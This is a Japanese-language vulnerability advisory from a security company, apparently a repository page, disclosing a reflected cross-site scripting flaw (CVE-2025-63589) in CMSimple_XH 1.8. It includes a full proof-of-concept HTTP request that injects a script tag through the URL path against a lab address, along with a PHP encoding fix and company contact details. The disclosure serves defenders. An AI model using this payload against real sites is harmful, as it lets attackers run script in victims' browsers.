cybercrewinc/cve-2025-63589CMSimple_XH 1.8におけるリフレクト型XSSの概念実証 - 未認証のスクリプトインジェクションが未サニタイズのパスセグメントを介して可能。CVSSスコア6.1およびPHPによる修正例を含む。
発見日: 2025年10月6日
対象製品: CMSimple_XH（オープンソースのフラットファイルCMS）
影響を受けるバージョン: 1.8
CVE: CVE-2025-63589
認証要件: なし（未認証）
攻撃タイプ: 反射型クロスサイトスクリプティング (XSS)
推定CVSS v3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N → 6.1（中）
index.php のフロントコントローラーは、動的なパスセグメント（テンプレート/ページへのルーティングに使用される）を受け入れ、その値をテンプレートレンダリングに渡します。このコードは、パスセグメントを属性やアンカー href に挿入する前に、適切にサニタイズまたはHTMLエンコードしていません。その結果、"> やインジェクトされたタグ（例：<script>...</script>）を含む特別に細工されたリクエストURIが、そのままHTML出力に反映され、ブラウザで実行されます。
典型的な反射ポイントは以下を含みます：
action 属性（例：ログインフォーム、検索フォーム）href 属性<nav class="locator">）Print view、Sitemap、Login など）入力がHTML属性コンテキストやアンカーコンテンツ内に配置されるため、標準的な属性エンコーディングが必要ですが、欠落しています。
リクエスト：
POST /cmsimplexh/index.php/gjtqw"><script>alert(1)</script>co2cu HTTP/1.1
Host: 192.168.98.129:8080
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Origin: http://192.168.98.129:8080
Upgrade-Insecure-Requests: 1
Referer: http://192.168.98.129:8080/cmsimplexh/?Templates/TEMPLATE-overlay_03
Content-Type: application/x-www-form-urlencoded
Sec-CH-UA: "Chromium";v="138", "Not;A=Brand";v="24", "Google Chrome";v="138"
Sec-CH-UA-Platform: "Windows"
Sec-CH-UA-Mobile: ?0
Content-Length: 32
search=Search...&function=search
レスポンス：
インジェクトされたペイロード gjtqw"><script>alert(1)</script>co2cu は、メニューリンク、パンくずリスト、検索フォームのアクション、フッターリンクにエンコードされずに反映され、ページがレンダリングされるとスクリプトが実行されます。
$safe_segment = rawurlencode($segment); // パス安全性
$action = '/cmsimplexh/index.php/' . $safe_segment;
echo '<form action="' . htmlspecialchars($action, ENT_QUOTES, 'UTF-8') . '">';
HttpOnly ではない場合）ご質問・ご相談などございましたら、お気軽にご連絡ください。
📞 電話： 03-6853-5823
📧 メール：[email protected]
| 項目 | 内容 |
|---|---|
| 会社名 | 株式会社CyberCrew |
| 所在地 | 東京都千代田区外神田1-18-13 秋葉原ダイビル6階 |
組織の脆弱性を多角的に分析し、最適な改善策を提案します。
標的型・シナリオ型・LLMペンテスト まで対応。
機密情報の流出を早期に検知し、迅速に対応。
実践的な攻撃シナリオに基づく防御力評価を実施。
開発初期段階からセキュリティを考慮した設計を支援します。
🌐 公式サイト：https://www.cybercrew.co.jp
🕒 CyberCrew — あなたの信頼できるセキュリティパートナー。